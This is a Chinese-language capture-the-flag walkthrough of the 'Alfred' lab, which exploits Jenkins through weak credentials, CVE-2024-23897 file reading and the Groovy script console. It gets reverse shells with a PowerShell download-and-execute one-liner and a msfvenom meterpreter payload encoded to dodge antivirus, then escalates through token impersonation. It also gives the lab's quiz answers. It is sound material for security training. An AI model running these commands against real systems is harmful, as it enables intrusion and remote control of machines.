Offensive Pentesting-Alfred

Exploit Jenkins to gain an initial shell, then escalate your privileges by exploiting Windows authentication tokens.
利用 Jenkins 获取初始 shell,然后通过利用 Windows 身份验证令牌来提升您的权限。

Initial Access

先来扫目录和端口

nmap -T4 -sC -sV -Pn 10.10.118.134

image-20241209134916346

可以看到tcp协议开放的端口一共有3个

How many ports are open? (TCP only)

3

下面来访问一下web服务 80端口的没啥用 直接来看8080端口 上来是一个登录框

image-20241209140045691

先直接试一下弱口令:admin:admin 结果直接登上去了

image-20241209140152889

What is the username and password for the login panel? (in the format username:password)

admin:admin

获取user的flag

CVE-2024–23897任意文件读取、远程命令执行

放在2024年的今天 我们再去做这个靶场的时候 其实我们会有更多的方法去做 比如在我们知道用户名的情况下使用CVE-2024–23897进行任意文件读取就可以读到普通用户文件夹下的flag

Jenkins 任意文件读取(CVE-2024-23897)+后台用户密码提取哈希破解+反弹Shell 一条龙-CSDN博客

这里我们参考这篇文章 首先 下载jenkins-cli.jar文件 直接访问

http://10.10.33.70:8080/jnlpJars/jenkins-cli.jar 

现在我们就可以开始进行任意文件读取 但是在这个靶机中 我们知道他是一台windows靶机 文件结构和linux当然有所不同 要读取普通用户文件夹下的flag就需要知道它的用户名是什么 这里先进行远程命令执行 读取用户名

点击Managae Jenkins——Scripts Console

image-20241209153818024

image-20241209153856379

这里查看用户名可以有两种命令

1.println "whoami".execute().text
2.println "cmd.exe /c dir C:\\Users".execute().text

image-20241209154019740

image-20241209154038296

拿到用户名之后我们可以读flag了 读flag也是有两种方法

任意文件读取读flag

接上文 我们在拿到jenkins-cli.jar 文件之后 就可以进行任意文件读取了 其中使用不同命令读取到的文件内容数量是不一样的 其中help只能读到第一行的内容(当然这里对于我们读取flag并没有影响) 这里直接说结论 都使用connect-node来进行读取 这个命令可以读取文件全部的内容 同时对服务的影响最小

java -jar jenkins-cli.jar -s http://10.10.33.70:8080 connect-node '@/C:/Users/bruce/Desktop/user.txt'

image-20241209154719405

其中报错信息中的内容就是我们想要读取的用户文件夹下的flag内容

远程命令执行读flag

上面也提到了 我们是可以进行远程命令执行的 因此我们完全可以直接读flag的内容 这里有几个点需要注意

1.要正确执行 Windows 的命令,可以通过 cmd.exe 执行该命令,确保系统能够正确识别并执行。
2.Windows文件路径应使用双反斜杠 \ 如果路径中有空格,确保路径被双引号包围。

因此我们读取flag的命令是

println "cmd.exe /c type C:\\Users\\bruce\\Desktop\\user.txt".execute().text

image-20241209155953186

Nishang反弹shell

查找该工具的一个功能,该功能允许您在底层系统上执行命令。找到此功能后,可以使用此命令在计算机上获取反向 shell,然后运行它

powershell iex (New-Object Net.WebClient).DownloadString('http://your-ip:your-port/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress your-ip -Port your-port

这里还是可以使用上面我们找到的这个命令执行处 命令需要调整一下 满足Groovy 脚本的要求

println "powershell -Command \"iex (New-Object Net.WebClient).DownloadString('http://10.14.92.176/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.14.92.176 -Port 1234\"".execute().text

成功反弹到了命令

image-20241209162702307

image-20241209163034673

还有一个可以命令执行的地方

image-20241209163235486

这里的命令我们就写靶机页面上给我们提供的就行了

powershell iex (New-Object Net.WebClient).DownloadString('http://10.14.92.176/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.14.92.176 -Port 1234
iex:这是 PowerShell cmdlet“Invoke-Expression”的简写,用于评估和执行以字符串形式传递的 PowerShell 命令或脚本
(New-Object Net.WebClient).DownloadString('http://your-thm-ip:your-port/Invoke-PowerShellTcp.ps1'):此部分创建 .NET WebClient 类的新实例,该实例用于从指定的 URL 下载内容。在这种情况下,它会从指定的 URL 下载 PowerShell 脚本“Invoke-PowerShellTcp.ps1”的内容
Invoke-PowerShellTcp -Reverse -IPAddress your-thm-ip -Port your-port:这部分执行下载的脚本 “Invoke-PowerShellTcp.ps1” 和一定的参数
-Reverse:此参数可能指示“Invoke-PowerShellTcp.ps1”脚本创建反向 shell,这意味着它将连接回指定的 IP 和端口,以在攻击者的机器上打开命令 shell,从而提供对目标机器的远程访问和控制

然后点击右下角的Apply 在回退到前一个页面 点击Build Now

image-20241209164656643

Switching Shells

为了简化权限提升,让我们使用以下过程切换到 meterpreter shell。

使用 msfvenom 通过以下有效负载创建 Windows meterpreter 反向 shell:

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=IP LPORT=PORT -f exe -o shell-name.exe

此负载生成编码的 x86-64 反向 TCP 计量器负载。有效负载通常进行编码以确保它们正确传输,并规避杀软。杀软可能无法识别负载,也不会将其标记为恶意。

创建此有效负载后,使用上一步中的相同方法将其下载到计算机:

powershell "(New-Object System.Net.WebClient).Downloadfile('http://your-thm-ip:8000/shell-name.exe','shell-name.exe')"

在运行此程序之前,请确保在 Metasploit 中设置处理程序:

use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST your-thm-ip set LPORT listening-port run

此步骤使用 Metasploit 处理程序接收来自反向 shell 的传入连接。运行后,输入此命令以启动反向 shell

Start-Process "shell-name.exe"

这应该会为你生成一个 meterpreter shell

下面跟着上面的步骤来操作一下

先生成反弹shell的exe程序

image-20241209163924464

在用上一步的方法弹一个普通用户的shell 进入之后把我们刚才生成的shell-name.exe下载下来

powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.14.92.176/shell-name.exe','shell-name.exe')"

image-20241209165206848

image-20241209165214594

打开一个新的终端 开启msfconsole 进行配置

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.14.92.176
LHOST => 10.14.92.176
msf6 exploit(multi/handler) > set LPORT 1234  # 这里要和我们前面制作shell-name.exe时选择的端口一致
LPORT => 1234
msf6 exploit(multi/handler) > run

image-20241209170640615

到这里 成功切换成了meterpreter shell

What is the final size of the exe payload that you generated?

73802

这个在前面制作的时候就能看到

image-20241209170736162

Privilege Escalation

现在我们有了初始访问权限,让我们使用令牌模拟来获取系统访问权限。

Windows 使用令牌来确保帐户具有执行特定操作的正确权限。帐户令牌在用户登录或进行身份验证时分配给帐户。这通常由 LSASS.exe 完成(将此视为身份验证过程)。

此访问令牌包括:

  • 用户 SID (安全标识符)
  • 组 SID
  • 特权

有两种类型的访问令牌:

  • 主访问令牌:登录时生成的与用户帐户关联的令牌
  • 模拟令牌:这些令牌允许特定进程(或进程中的线程)使用另一个(用户/客户端)进程的令牌访问资源

对于模拟令牌,有不同的级别:

  • SecurityAnonymous:当前用户/客户端无法模拟其他用户/客户端
  • SecurityIdentification:当前用户/客户端可以获取客户端的身份和权限,但不能模拟客户端
  • SecurityImpersonation:当前用户/客户端可以在本地系统上模拟客户端的安全内容
  • SecurityDelegation:当前用户/客户端可以在远程系统上模拟客户端的安全内容

其中,安全内容是包含用户相关安全信息的数据结构。

帐户的权限(在创建时授予帐户或从组继承)允许用户执行特定操作。以下是最常被滥用的权限:

  • SeImpersonatePrivilege
  • SeAssignPrimaryPrivilege
  • SeTcbPrivilege
  • SeBackupPrivilege
  • SeRestorePrivilege
  • SeCreateTokenPrivilege
  • SeLoadDriverPrivilege
  • SeTakeOwnershipPrivilege
  • SeDebugPrivilege

了解完前置知识后 先在原来的shell中执行

whoami /priv

查看我们可以来利用的权限

image-20241209172428047

其中我们看到了SeDebugPrivilege、SeImpersonatePrivilege是上面提到的可以被利用的权限

再回到meterpreter shell中

 load incognito
 list_tokens -g

看到BUILTIN\Administrators 也就是我们可以模拟管理员权限的令牌

image-20241209172934719

“Incognito” 模块专门设计用于在受感染的系统内执行利用后活动和权限提升,使用获得的会话作为起点。它提供了各种功能来操作令牌、模拟用户、避免检测和提升权限等操作。

下面使用命令来进行模拟

impersonate_token “BUILTIN\Administrators
getuid

看到SYSTEM说明模拟成功

image-20241209174051527

即使您拥有更高特权的令牌,您也可能没有特权用户的权限(这是由于 Windows 处理权限的方式 - 它使用进程的主令牌而不是模拟令牌来确定进程可以做什么或不能做什么)。

确保迁移到具有正确权限的进程(上述问题的答案)。最安全的拣选过程是 services.exe 过程。首先,使用 ps命令查看进程并查找services.exe进程的 PID。使用命令 migrate PID-OF-PROCESS 迁移到此进程

ps

image-20241209174420955

迁移后 cat读取即可

migrate 668
cat "C:\Windows\System32\config\root.txt"

image-20241209174443128

考点总结:

1.后台弱口令登陆

  1. Jenkins 2.190 CVE-2024–23897任意文件读取、远程代码执行
  2. 使用Nishang反弹shell
  3. 普通shell切换meterpreter shell
  4. 令牌模拟提权